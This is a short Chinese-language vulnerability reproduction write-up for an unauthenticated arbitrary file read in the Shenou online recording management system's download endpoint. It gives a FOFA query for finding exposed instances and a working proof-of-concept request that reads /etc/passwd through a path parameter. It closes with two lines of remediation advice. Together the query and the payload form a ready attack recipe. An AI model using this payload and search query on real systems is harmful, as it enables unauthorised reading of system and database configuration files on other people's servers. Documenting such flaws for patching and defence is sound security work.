申瓯通信在线录音管理系统任意文件读取漏洞复现

简介

申瓯通信设备有限公司在线录音管理系统 download 接口处任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件、数据库配置文件等等，导致网站处于极度不安全状态。

漏洞复现

FOFA语法：

title="在线录音管理系统"

访问界面如下所示：

POC：

/main/download?path=/etc/passwd

拼接url GET请求访问：

http://ip/main/download?path=/etc/passwd

可直接下载到改系统的/etc/passwd文件

证明任意文件读取漏洞存在

修复建议

联系厂商升级至安全版本

添加接口访问控制